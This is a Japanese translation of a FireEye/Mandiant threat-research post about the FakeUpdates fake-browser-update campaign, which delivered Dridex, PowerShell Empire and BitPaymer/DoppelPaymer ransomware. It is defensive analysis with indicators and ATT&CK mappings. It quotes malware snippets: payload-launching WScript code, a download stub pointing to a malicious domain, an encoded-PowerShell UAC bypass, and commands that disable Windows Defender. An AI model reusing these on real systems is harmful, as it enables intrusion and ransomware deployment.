過去数か月間、FireEye は、金銭目的の脅威アクターが、被害者の環境全体にランサムウェアを大量に展開することで、ビジネス プロセスを混乱させることに焦点を当てた戦術を採用していることを観察してきました。通常のビジネス プロセスが組織の成功に不可欠であることを理解しているため、これらのランサムウェア キャンペーンには数百万ドルの身代金が伴います。この投稿では、 2018 年 4 月に最初に報告した手法に端を発する、最近の 1 つのキャンペーンの技術的な調査を提供します。
2019 年 5 月から 9 月にかけて、FireEye は、侵害された Web インフラストラクチャを利用して被害者の環境に最初の足場を築く、金銭目的の攻撃者が関与する複数のインシデントに対応しました。この活動は、2018 年 4 月に最初に特定された偽のブラウザ アップデート キャンペーンとの一貫性を明らかにしました。現在、FireEye はFakeUpdatesとして追跡しています。この新しいキャンペーンでは、攻撃者は被害者のシステムを利用して、 DridexやNetSupportなどのマルウェアや複数のエクスプロイト後のフレームワークを展開しました。場合によっては、攻撃者の最終的な目標は、BitPaymer または DoppelPaymer ランサムウェアを使用して大量のシステムを身代金を要求することでした (図 1 を参照)。
キャンペーンが急増したため、 Mandiant Managed Defenseの顧客と Mandiant が実施したインシデント対応調査の両方で、この活動に対応しました。 Managed Defense ネットワークとホストの監視、および Mandiant のインシデント対応の調査結果を通じて、攻撃者がたどったルート、侵害の範囲、およびさまざまなツールキットの露出を観察しました。
ノック、ノック: FakeUpdates が復活しました!
2018 年 4 月、FireEye は、侵害された Web サイトを使用して、Chrome、Internet Explorer、Opera、および/または Firefox ブラウザーの更新を装った、高度に難読化されたトロイの木馬ドロッパーを配信するキャンペーンを特定しました。侵害されたサイトには、HTML に直接挿入されたコード、または挿入されたページによってレンダリングされた JavaScript コンポーネントが含まれていました。これらのサイトは、HTTP リダイレクトまたは攻撃者が利用した水飲み場技術を介して、被害者のユーザーによってアクセスされました。
2018 年 4 月のブログ投稿以来、このキャンペーンは改良され、新しい手法とエクスプロイト後のツールキットの使用が含まれるようになりました。最近の調査では、企業ネットワークでの内部偵察、クレデンシャル ハーベスティング、権限昇格、ラテラル ムーブメント、ランサムウェアの展開など、攻撃者の活動が明らかになりました。 FireEye は、FakeUpdates の第 1 段階を提供する侵害されたサイトの多くが、古くて脆弱なコンテンツ管理システム (CMS) アプリケーションであることを特定しました。
古いバージョンのマルウェアを使用しています…
FakeUpdates キャンペーンは、最終的なペイロードがダウンロードされる前に実行される、かなり複雑な一連のブラウザ検証から始まります。感染した最初のページに挿入されたコードにより、ユーザーのブラウザは、ハードコーディングされたパラメータを使用して悪意のある Web サイトに透過的に移動します。被害者のブラウザー情報が収集された後、追加のリダイレクトが実行され、ユーザーは偽のブラウザー更新をダウンロードするように求められます。 FireEye は、ブラウザーの検証シーケンスに追加の保護機能があり、サンドボックスによる検出や侵害サイトでのインシデント後のトリアージ試行を回避できる可能性があることを確認しています。
リダイレクト プロセスでは、多数のサブドメインが使用され、限られた数の IP アドレスが使用されました。悪意のあるサブドメインは、多くの場合、最初のリダイレクトとブラウザーの検証段階のさまざまな部分で変更されます。
[更新] ボタンをクリックした後、次の 3 種類のファイルのいずれかがダウンロードされることを確認しました。
- 高度に難読化された HTML アプリケーション (.hta ファイル拡張子)
- JavaScript ファイル (.js ファイル拡張子)
- ZIP 圧縮された JavaScript ファイル (.zip 拡張子)
図 3 は、初期ダウンロード機能を提供する JavaScript のスニペットを示しています。
var domain = ‘//gnf6.ruscacademy[.]in/’; … var ファイル名 = ‘download.hta’; |
図 3: FakeUpdates ランディング ページから特定された JavaScript コードの抜粋
ユーザーが最初の FakeUpdates ダウンローダーを開くと、Windows Scripting Host ( wscript.exe )が実行され、次のアクションが実行されます。
- スクリプトがメモリ内で実行され、影響を受けるシステムのフィンガープリントを作成するために使用されます。
- システムのフィンガープリントが正常に取得されると、後続のバックドアまたはバンキング型トロイの木馬がダウンロードされます。
- スクリプトはメモリ内で実行されます。
- サードパーティのスクリーンショット ユーティリティをダウンロードして起動します。
- キャプチャしたスクリーンショットを攻撃者に送信します。
- 手順 2 で配信されたペイロードは、その後スクリプト プロセスによって実行されます。
上記のバックドアおよびバンキング型トロイの木馬のペイロードは、Dridex、NetSupport Manager RAT、AZOrult、および Chthonic マルウェアとして特定されています。選択的なペイロード配信の背後にある戦略は不明です。ただし、感染チェーンのこの段階で配信された最も一般的なマルウェアは、Dridex バックドアの亜種でした。
FakeUpdates: FakeHTTP に似ています
エンド ユーザーが FakeUpdates のダウンロードを実行した後、被害者のシステムはカスタム HTTP POST 要求をハードコーディングされたコマンド アンド コントロール (C2) サーバーに送信します。図 4 に示す POST リクエストは、攻撃者が最初のコールバックにカスタム HTTP リクエストを使用したことを示しています。たとえば、Age HTTP ヘッダーは、一見ランダムな 16 の小文字の 16 進数文字の文字列に設定されていました。
通常、HTTP Age ヘッダーは、オブジェクトがプロキシによってキャッシュされてからの時間を秒単位で表します。この場合、FireEye は、ディスク上の難読化されたコードの分析を通じて、Age ヘッダーがスクリプト化された「認証ヘッダー」パラメーターに関連付けられていることを特定しました。リクエストを検証するために C2 サーバーによって使用される可能性があります。最初の HTTP POST リクエストには、XOR エンコードされた HTTP ペイロード変数「 a=” 」も含まれています。
C2 サーバーは、エンコードされた JavaScript で最初の HTTP リクエストに応答します。コードがデコードされて実行されると、wscript.exe を使用してシステムとユーザーの情報が収集されます。被害者のシステムから収集された情報には、次のものが含まれていました。
- コールバックを初期化した悪意のあるスクリプト
- システムのホスト名
- 現在のユーザー アカウント
- Active Directory ドメイン
- メーカーなどのハードウェアの詳細
- ウイルス対策ソフトの詳細
- 実行中のプロセス
このアクティビティは、2018 年 4 月の投稿で観察された手順とほぼ同じであり、この段階でのデータ収集の小さな変更のみを示しています。たとえば、このキャンペーンの初期の反復では、C2 通信を行うスクリプトのコレクションは観察されませんでした。システム情報の収集に続いて、データは XOR エンコードされ、別のカスタム HTTP POST リクエスト リクエストを介して、パラメータ「b=」に含まれるデータとともに同じ C2 サーバに送信されます。図 5 は、2 番目の HTTP 要求のサンプルのスニペットを示しています。
図 6 は、デコードされたコンテンツのコピーを示しており、マルウェアが C2 サーバーに送り返したさまざまなデータ ポイントを示しています。
0=500 1=C:UsersUserAppDataLocalTempChrome.js 2=AMD64 3=システム1 4=ユーザー 5=4 6=Windows_NT 7=ドメイン 8=HP 9=HP エリートデスク 10=BIOS_バージョン 11=Windows Defender|ベンダー アンチウイルス 12=ベンダー アンチウイルス|Windows Defender| 13=00:00:00:00:00:00 14=拡張 (101 または 102 キー) 15=USB 入力デバイス 16=1024×768 17=システム アイドル プロセス|システム|smss.exe|csrss.exe|wininit.exe|csrss.exe| winlogon.exe|services.exe|lsass.exe|svchost.exe|svchost.exe|svchost.exe|svchost.exe|svchost.exe| svchost.exe|spoolsv.exe|svchost.exe|svchost.exe|HPLaserJetService.exe|conhost.exe… |
図 6: FakeUpdates マルウェアによって収集された、デコードされたシステム情報
システム情報を受信した後、C2 サーバーは、チャンク化された転送エンコードを介して感染したシステムに配信されるエンコードされたペイロードで応答します。この手法は、従来の IDS/IPS アプライアンスを回避し、第 2 段階のペイロードを正常にダウンロードできるようにします。調査と FireEye Intelligence の監視中に、次のいずれかを配信するエンコードされたペイロードを回収しました。
- ドリデックス (図 7)
- NetSupport Manage Remote Access Tools (RAT) (図 8)
- Chthonic または AZORult (図 9)
関数 runFile() { var lastException = ”; 試す { var wsh = new ActiveXObject(“WScript.Shell”); wsh.Run(‘cmd /C rename “‘ + _tempFilePathSave + ‘” “‘ + execFileName + ‘”‘); WScript.Sleep(3 * 1000); runFileResult = wsh.Run(‘”‘ + _tempFilePathExec + ‘”‘); lastException = ”; } キャッチ (エラー) { lastException = error.number; runFileExeption += ‘エラー番号:’ + error.number + ‘メッセージ:’ + error.message; } } |
図 7: Dridex ペイロードの起動に使用される FakeUpdates で確認されたコードの抜粋
関数 runFile() { var lastException = ”; 試す { var wsh = new ActiveXObject(“WScript.Shell”); runFileResult = wsh.Run(‘”‘ + _tempFilePathExec + ‘” /verysilent’); lastException = ”; } キャッチ (エラー) { lastException = error.number; runFileExeption += ‘エラー番号:’ + error.number + ‘メッセージ:’ + error.message; } } |
図 8: NetSupport ペイロードの起動に使用される FakeUpdates で確認されたコードの抜粋
関数 runFile() { var lastException = ”; 試す { var wsh = new ActiveXObject(“WScript.Shell”); runFileResult = wsh.Run(‘”‘ + _tempFilePathExec + ‘”‘); lastException = ”; } キャッチ (エラー) { lastException = error.number; runFileExeption += ‘エラー番号:’ + error.number + ‘メッセージ:’ + error.message; } } |
図 9: Chthonic および AZORult ペイロードの起動に使用される FakeUpdates で確認されたコードの抜粋
このプロセス中に、被害者のシステムは nircmdc.exe をダウンロードして実行します。これは、感染プロセス中に 2 つのシステム スクリーンショットを保存するために特別に使用されるユーティリティです。図 10 は、デスクトップのスクリーンショットをキャプチャするために使用されるコマンドの例を示しています。
“C:UsersUserAppDataLocalTempnircmdc.exe” savescreenshot “C:UsersUserAppDataLocalTemp06a2e3dc14a3d91.png” |
図 10: Nircmd ツールを実行してデスクトップのスクリーンショットを取得するために使用されるサンプル コマンド
感染したシステムの PNG スクリーンショットは、C2 サーバーに転送された後、システムから削除されます。図 11 は、HTTP POST 要求の例を示しています。ここでも、カスタムの Age ヘッダーと User-Agent ヘッダーが使用されています。
興味深いことに、スクリーンショット ファイルの転送は、FakeUpdates マルウェアによって転送された他のデータ要素と同様に、エンコードも難読化もされていませんでした。スクリーンショットが転送されるとすぐに、nircmdc.exe は削除されます。
オールハンズオンデッキ
特定の調査では、事件はまだ終わっていませんでした。 Dridex v4 バイナリ (ボットネット ID 199 および 501) の配布に続いて、新しいツールとフレームワークが出現し始めました。 FireEye は、攻撃者が Dridex バックドアを利用して、公開されている PowerShell EmpireやKoadicのポストエクスプロイト フレームワークを実行していることを特定しました。 Managed Defense はまた、Dridex への FakeUpdates 感染チェーンを特定し、その結果、別の公開ツールである PoshC2 がダウンロードされて実行されました。偶然かもしれませんが、PoshC2 の使用が 2019 年 9 月初旬に初めて確認されたのは、Empire が維持されなくなり、攻撃者の TTP の変化を表している可能性があるという発表に続いたことは注目に値します。これらの追加ツールは、最初の Dridex のダウンロードから 30 分から 2 時間の間に実行されることがよくありました。関連する攻撃の初期段階のペースは、オペレーターの対話型アクティビティが発生する前に、自動化された侵害後の手法が部分的に使用されていることを示唆している可能性があります。
これらの調査中に、Empire およびさまざまなサーバーへの C2 通信が広範囲に使用されていることを確認しました。たとえば、プロセス追跡を通じて、悪意のある PowerShell を実行する Dridex が注入された explorer.exe を特定しました。これは、Empire ステージャーの明確な兆候です。
上記の例では、攻撃者は被害者のシステムにリモート サーバー 185.122.59[.]78 をコマンド アンド コントロールに使用するよう指示し、TLS で暗号化されたバックドア通信用にすぐに使用できるEmpire エージェント C2 構成を使用しています。
実践的な攻撃後の活動中に、攻撃者は PowerShell リモート処理と RDP セッションを介して横方向にも移動しました。 FireEye は、WMI を使用してリモート PowerShell プロセスを作成し、その後、ドメインに参加しているシステムで Empire ステージャーを実行するために使用されることを特定しました。ある特定のケースでは、最初の帝国のバックドアからラテラル ムーブメントの成功までの時間差は 15 分未満でした。攻撃者のもう 1 つの主な目的は、コンピューターが参加しているローカル システムとドメインの両方を内部偵察することでした。図 13 は、調査中に攻撃者が発行した Active Directory 偵察コマンドの一部を示しています。
攻撃者は、SessionGopher という名前の Empire モジュールと由緒ある Mimikatz を使用して、エンドポイントのセッションと資格情報を収集しました。最後に、図 14 に示すように、Empire の Invoke-EventVwrBypass を利用した攻撃者も特定しました。
“C:WindowsSystem32WindowsPowerShellv1.0powershell.exe” -NoP -NonI -c $x=$((gp HKCU:SoftwareMicrosoftWindows Update).Update); powershell -NoP -NonI -W Hidden -enc $x
ランサムウェア攻撃とオペレーターの戦術
これらの調査の中で、FireEye は展開された BitPaymer または DoppelPaymer ランサムウェアを特定しました。これらのランサムウェアの亜種は非常に似ていますが、DoppelPaymer は追加の難読化技術を使用しています。また、更新されたネットワーク検出メカニズムや特定のコマンドライン実行の要件など、拡張機能も備えています。 DoppelPaymer は、別の暗号化とパディング スキームも使用します。
ランサムウェアと追加の偵察ツールは、DropMeFiles や SendSpace などの公開共有 Web サイト リポジトリからダウンロードされました。展開されたランサムウェアに関係なく、攻撃者は SysInternals ユーティリティ PSEXEC を使用してランサムウェアを配布および実行しました。
特に、DoppelPaymer インシデントで、FireEye は、ボットネット ID 12333 の Dridex v2 が、ボットネット ID 501 の Dridex v4 のインスタンスによって以前に影響を受けた同じシステムにダウンロードされたことを特定しました。その後、数日以内に、このセカンダリ Dridex インスタンスを使用して配布を有効にしました。 DoppelPaymer ランサムウェアのDoppelPaymer の前に、攻撃者はボリューム シャドウ コピーを削除し、一部のシステムでウイルス対策およびマルウェア対策保護を無効にしていました。イベント ログのアーティファクトから、この手順を実行するために使用された PowerShell 経由で実行されたコマンドが明らかになりました (図 15)。
イベントログ |
EID |
メッセージ |
Microsoft-Windows-PowerShell%4Operational |
600 |
HostApplication=powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true |
Microsoft-Windows-PowerShell%4Operational |
600 |
HostApplication=powershell.exe Uninstall-WindowsFeature -Name Windows-Defender |
応用 |
1034 |
Windows インストーラーが製品を削除しました。製品名: McAfee Agent-++-5.06.0011-++-1033-++-1603-++-McAfee, Inc.-++-(NULL)-++–++-。製品バージョン: 82。 |
図 15: AV エージェントのアンインストールとリアルタイム監視の無効化に関連するイベント ログ エントリ
DoppelPaymer ランサムウェアは、ディスク上のランダムな名前のファイルの代替データ ストリーム (ADS) で発見されました。 ADS は、ファイルが複数のデータ ストリームを持つことを可能にする NTFS 内の属性であり、Windows エクスプローラなどのツールではプライマリのみが表示されます。ランサムウェアの実行後、ファイルは「.locked」ファイル拡張子で名前が変更されることにより、暗号化されていることが示されます。各「.locked」ファイルに加えて、ファイルを復号化する方法を説明する「readme2unlock.txt」というファイル名の身代金メモがあります。
ランサムウェア?私の家ではありません!
過去数年間で、ランサムウェアが厄介なマルウェアから、被害者のネットワークから多額の金銭をゆすり取るために使用されるマルウェアへと進化するのを目の当たりにしてきました。さらに、攻撃者は現在、ランサムウェアを複数のツールキットまたは他のマルウェア ファミリと組み合わせて、環境へのより強力な足場を築いています。このブログ投稿だけでも、被害者の組織を人質にとることを最終目標として、攻撃者が複数のツールセット (一部は自動化され、一部は手動) を介して移動するのを目撃しました。
ランサムウェアはまた、企業のすべての分野の競争条件を平準化するため、準備が整っていない組織のリスクを高めます。ランサムウェアは、攻撃者が組織の最も機密性の高い部分にアクセスする必要がないことを証明しています。ビジネス プロセスを混乱させる部分にアクセスする必要があります。これにより、攻撃対象領域が広がりますが、幸いなことに、検出と対応の機会も増えます。 Mandiant は最近、 ランサムウェアの防御と封じ込め戦略に関する詳細なホワイト ペーパーを発行しました。これは、組織がランサムウェア イベントのリスクを軽減するのに役立つ可能性があります。
指標
次の指標セットは、複数の顧客侵害の調査中に特定されたアーティファクトをまとめたものです。
タイプ |
指標 |
FakeUpdates ファイル |
0e470395b2de61f6d975c92dea899b4f 7503da20d1f83ec2ef2382ac13e238a8 102ae3b46ddcb3d1d947d4f56c9bf88c aaca5e8e163503ff5fadb764433f8abb 2c444002be9847e38ec0da861f3a702b 62eaef72d9492a8c8d6112f250c7c4f2 175dcf0bd1674478fb7d82887a373174 |
FakeUpdates ドメインと IP アドレス |
<8 文字>.green.mattingsolutions[.]co gnf6.ruscacademy[.]in backup.awarfaregaming[.]com click.clickanalytics208[.]com track.amishbrand[.]com track.positiverefreshment[.]org link.easycounter210[.]com |
nircmdc.exe |
8136d84d47cb62b4a4fe1f48eb64166e |
ドリデックス |
7239da273d3a3bfd8d169119670bb745 72fe19810a9089cd1ec3ac5ddda22d3f 6e05e84c7a993880409d7a0324c10e74 63d4834f453ffd63336f0851a9d4c632 0ef5c94779cd7861b5e872cd5e922311 |
エンパイア C2 |
185.122.59[.]78 109.94.110[.]136 |
テクニックの検出
FireEye は、Dridex、Empire、BitPaymer、DoppelPaymer ランサムウェアの名前付き検出を含む、当社のプラットフォーム全体でこのアクティビティを検出します。これらの調査の結果、FireEye はさらに新しいインジケーターとシグネチャをエンドポイントおよびネットワーク セキュリティ アプライアンスに展開しました。この表には、このアクティビティが発生する前に利用可能だった検出のより大きなリストからの特定の検出名がいくつか含まれています。
プラットホーム |
署名名 |
エンドポイント セキュリティ |
HX エクスプロイトの検出 |
ネットワークセキュリティー |
Backdoor.FAKEUPDATES |
MITRE ATT&CK テクニック マッピング
AT&CK |
テクニック |
初期アクセス |
ドライブバイ侵害 (T1189)、公開アプリケーションの悪用 (T1190) |
実行 |
PowerShell (T1086)、スクリプティング (T1064)、ユーザー実行 (T1204)、Windows Management Instrumentation (T1047) |
持続性 |
DLL 検索順序ハイジャック (T1038) |
権限昇格 |
ユーザー アカウント制御のバイパス (T1088)、DLL 検索順序ハイジャック (T1038) |
防御回避 |
ユーザー アカウント制御のバイパス (T1088)、セキュリティ ツールの無効化 (T1089)、DLL 検索順序ハイジャック (T1038)、ファイル削除 (T1107)、マスカレード (T1036)、NTFS ファイル属性 (T1096)、難読化されたファイルまたは情報 (T1027)、スクリプト(T1064)、仮想化/サンドボックス回避 (T1497) |
資格情報へのアクセス |
資格情報のダンピング (T1003) |
発見 |
アカウント検出 (T1087)、ドメイン信頼検出 (T1482)、ファイルとディレクトリ検出 (T1083)、ネットワーク共有検出 (T1135)、プロセス検出 (T1057)、リモート システム検出 (T1018)、セキュリティ ソフトウェア検出 (T1063)、システム情報検出 (T1082)、システム ネットワーク構成検出 (T1016)、仮想化/サンドボックス回避 (T1497) |
横移動 |
リモート デスクトップ プロトコル (T1076)、リモート ファイル コピー (T1105) |
コレクション |
ローカル システムからのデータ (T1005)、スクリーン キャプチャ (T1113) |
コマンドと制御 |
一般的に使用されるポート (T1436)、カスタム コマンド アンド コントロール プロトコル (T1094)、データ エンコーディング (T1132)、データ難読化 (T1001)、リモート アクセス ツール (T1219)、リモート ファイル コピー (T1105)、標準アプリケーション層プロトコル (T1071) |
流出 |
自動流出 (T1020)、コマンド アンド コントロール チャネル経由の流出 (T1041) |
影響 |
影響を与えるために暗号化されたデータ (T1486)、システム回復の抑制 (T1490)、サービスの停止 (T1489) |
謝辞
James Wyke と Jeremy Kennelly がこの活動を分析し、この投稿をサポートしてくれたことに心から感謝します。
これに関するオンデマンドの要約と、今年のマネージド ディフェンス攻撃トップ 5をご覧ください。
参照: https://www.mandiant.com/resources/blog/head-fake-tackling-disruptive-ransomware-attacks
Comments